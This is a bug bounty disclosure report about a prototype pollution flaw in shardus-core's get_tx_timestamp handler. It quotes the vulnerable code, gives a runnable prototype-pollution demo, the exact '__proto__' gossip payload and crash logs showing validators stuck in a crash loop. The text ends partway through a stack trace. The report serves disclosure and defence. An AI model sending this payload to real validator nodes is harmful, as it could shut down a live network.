33637 - [BC - Critical] In get_tx_timestamp a prototype pollution bri...

In " get_tx_timestamp " a prototype pollution bricks validators

Submitted on Jul 25th 2024 at 13:08:56 UTC by @infosec_us_team for Boost | Shardeum: Core

Report ID: #33637

Report type: Blockchain/DLT

Report severity: Critical

Target: https://github.com/shardeum/shardus-core/tree/dev

Impacts:

  • Network not being able to confirm new transactions (total network shutdown)

Description

About The Scope

Where is the bug?

The issue is an insecure assignment in line #1049 of TransactionConsensus.ts.

https://github.com/shardeum/shardus-core/blob/dev/src/state-manager/TransactionConsensus.ts#L1049

What are the scope rules of TransactionConsensus.ts?

@Mehdi from Shardeum team publicly said in Immunefi's Discord about TransactionConsensus.ts:

"that was originally out of scope, but it's more accurate to say large parts of TransactionConsensus are out of scope. Large parts of it hold old code that is not active with the default config, namely: code paths that are behind useNewPOQ flag."

https://discord.com/channels/787092485969150012/1256211020482084987/1263282057769914368

They also confirmed that:

"Bugs in code from TransactionConsensu.ts that are not guarded by any configurable flag at all (like useNewPOQ and others), and that can be directly exploited by anyone, are in scope.

https://discord.com/channels/787092485969150012/1256211020482084987/1264362678550265877

This report is in scope

The insecure assignment can be exploited by sending a request to an entry point that isn't guarded by any configurable flag.


Report Description

Location of the insecure assignment

The function generateTimestampReceipt(...) inside TransactionConsensus.ts contains the assignment below, where the value of signedTsReceipt.cycleCounter and txId are strings controlled by an attacker, and signedTsReceipt is an object:

this.txTimestampCache[ signedTsReceipt.cycleCounter ][ txId ] = signedTsReceipt;

Line of code from: https://github.com/shardeum/shardus-core/blob/dev/src/state-manager/TransactionConsensus.ts#L1049

Sending '__proto__' as the value for signedTsReceipt.cycleCounter and sending 'somethingHere' as the value for the variable txId, the assignment becomes:

this.txTimestampCache['__proto__']['somethingHere'] = signedTsReceipt;

If the reader has experience exploiting server-side prototype pollution, the next section can be skipped, but we recommend reading it as a quick recap.

Understanding Prototype Pollution

Before diving deep into the report, is important to understand what the vulnerable assignment in Shardus Core does.

Let's start by mentioning the following line:

anObject[ '__proto__' ][ 'something' ] = 1;

Produces the same outcome as the following line:

anObject.constructor.prototype.something = 1;

Executing any of them adds by default a field something with value 1 to all new and previously created javascript objects during runtime.

Runnable Example:

In Typescript create an empty object out of JSON named person:

let person = JSON.parse( "{}" );

Pollute the prototype by adding a field whitehat with the value true:

person['__proto__']['whitehat'] = true;

Now the object person.whitehat returns true:

console.log(person.whitehat); // true

But also does all other objects in the entire codebase, whether new or existing. For example, create a completely new object and log its whitehat field:

let dog = JSON.parse("{}");
console.log(dog.whitehat); // true

Here's the full snippet of code for the example if you want to play around:

let person = JSON.parse("{}");
person['__proto__']['whitehat'] = true;
console.log(person.whitehat); // true

let dog = JSON.parse("{}");
console.log(dog.whitehat); // true

Exploiting the attack vector in Shardus Core

Active nodes can gossip other validators using the internal route get_tx_timestamp to ask for or store the timestamp of a tx.

Below is the code that handles this request:

this.p2p.registerInternal(
  'get_tx_timestamp',
  async (
    payload: { txId: string; cycleCounter: number; cycleMarker: string },
    respond: (arg0: Shardus.TimestampReceipt) => unknown
  ) => {
    const { txId, cycleCounter, cycleMarker } = payload
    /* eslint-disable security/detect-object-injection */
    if (this.txTimestampCache[cycleCounter] && this.txTimestampCache[cycleCounter][txId]) {
      await respond(this.txTimestampCache[cycleCounter][txId])
    } else {
      const tsReceipt: Shardus.TimestampReceipt = this.generateTimestampReceipt(
        txId,
        cycleMarker,
        cycleCounter
      )
      await respond(tsReceipt)
    }
    /* eslint-enable security/detect-object-injection */
  }
)

Snippet of code from: https://github.com/shardeum/shardus-core/blob/dev/src/state-manager/TransactionConsensus.ts#L242-L262

First, the server checks if the TX is in the cache. If that's the case, it returns its value, if not, it saves to the cache the values given in the request.

 ┌────────────────┐                         
 │get_tx_timestamp│                         
 └────────┬───────┘                         
    ______▽______                           
   ╱             ╲    ┌────────────────────┐
  ╱ Is the TX is  ╲___│Return cached value.│
  ╲ in the cache? ╱yes└────────────────────┘
   ╲_____________╱                          
          │no                               
┌─────────▽─────────┐                       
│Store received     │                       
│value in the cache.│                       
└───────────────────┘                       

The function generateTimestampReceipt(...) is the one that stores the received value in the cache.

generateTimestampReceipt(
  txId: string,
  cycleMarker: string,
  cycleCounter: CycleRecord['counter']
): TimestampReceipt {
  const tsReceipt: TimestampReceipt = {
    txId,
    cycleMarker,
    cycleCounter,
    // shardusGetTime() was replaced with shardusGetTime() so we can have a more reliable timestamp consensus
    timestamp: shardusGetTime(),
  }
  const signedTsReceipt = this.crypto.sign(tsReceipt)
  /* prettier-ignore */ this.mainLogger.debug(`Timestamp receipt generated for txId ${txId}: ${utils.stringifyReduce(signedTsReceipt)}`)

  // caching ts receipt for later nodes
  if (!this.txTimestampCache[signedTsReceipt.cycleCounter]) {
    this.txTimestampCache[signedTsReceipt.cycleCounter] = {}
  }
  // eslint-disable-next-line security/detect-object-injection
  this.txTimestampCache[signedTsReceipt.cycleCounter][txId] = signedTsReceipt
  return signedTsReceipt
}

Snippet of code from: https://github.com/shardeum/shardus-core/blob/dev/src/state-manager/TransactionConsensus.ts#L1029-L1051

There, we can see the vulnerable assignment once again:

this.txTimestampCache[signedTsReceipt.cycleCounter][txId] = signedTsReceipt

Adding fields to all Objects in the server

If the gossipped message to the get_tx_timestamp route contains the following payload:

{ txId: "bsdsdsdsd", cycleCounter: "__proto__", cycleMarker: "bsdsdsdsd" }

Where "bsdsdsdsd" is random gibberish.

Then, the vulnerable assignment becomes:

this.txTimestampCache[ '__proto__' ][ 'bsdsdsdsd' ] = signedTsReceipt

As a consequence, all objects in existence and new objects created in the future will contain a field . bsdsdsdsd and the value will be the content of the signedTsReceipt object.

A chain of crashes in Shardus Core

Many core functions in Shardus Core read and process the keys and values of an object.

When an attacker adds an unexpected key and value to ALL objects in the server, these functions crash, when they crash the server tries to exit by calling the function exitUncleanly(..), but even exitUncleanly(..) crashes.

An infinite loop of crash -> try to exit -> repeat begins.

Let's analyze one of the functions that starts the crashing loop: Take a look at these lines of code in the _takeSnapshot() function (which is executed repeatedly, with a timer):

for (const counter in this.counters) {
  this.counters[counter].snapshot()

Code snippet from: https://github.com/shardeum/shardus-core/blob/dev/src/statistics/index.ts#L337-L362

One of the keys returned by the object this.counters after receiving the malicious payload, is bsdsdsdsd, which is the gibberish we used in the attack to pollute ALL objects in the server.

The function will crash when trying to execute: this.counters[ 'bsdsdsdsd' ].snapshot() because the value of bsdsdsdsd does not contain a function named "snapshot()".

The following error is printed to ./instances/shardus-instance-PORT_OF_VICTIM/logs/out.log

TypeError: this.counters[counter].snapshot is not a function
    at Statistics._takeSnapshot (/home/z/Documents/Temporal/playground/shardeum/codebase/src/statistics/index.ts:346:30)
    at listOnTimeout (node:internal/timers:569:17)
    at processTimers (node:internal/timers:512:7)

The following error is printed to the same path, but file fatal.log

[2024-07-23T21:01:07.106] [FATAL] fatal - unhandledRejection: TypeError: this.counters[counter].snapshot is not a function
    at Statistics._takeSnapshot (/home/z/Documents/Temporal/playground/shardeum/codebase/src/statistics/index.ts:346:30)
    at listOnTimeout (node:internal/timers:569:17)
    at processTimers (node:internal/timers:512:7)

When that line crashes, the exception handler registered here https://github.com/shardeum/shardus-core/blob/dev/src/shardus/index.ts#L2856-L2887 will try to shut down the server uncleanly.

Forcing nodes to keep running under invalid states

But the exit attempt throws an exception as well, with the following stack trace:

[2024-07-23T21:01:07.120] [FATAL] fatal - unhandledRejection: TypeError: this.powGenerators[generator].kill is not a function
    at Crypto.stopAllGenerators (/home/z/Documents/Temporal/playground/shardeum/codebase/src/crypto/index.ts:233:37)
    at /home/z/Documents/Temporal/playground/shardeum/codebase/src/shardus/index.ts:267:19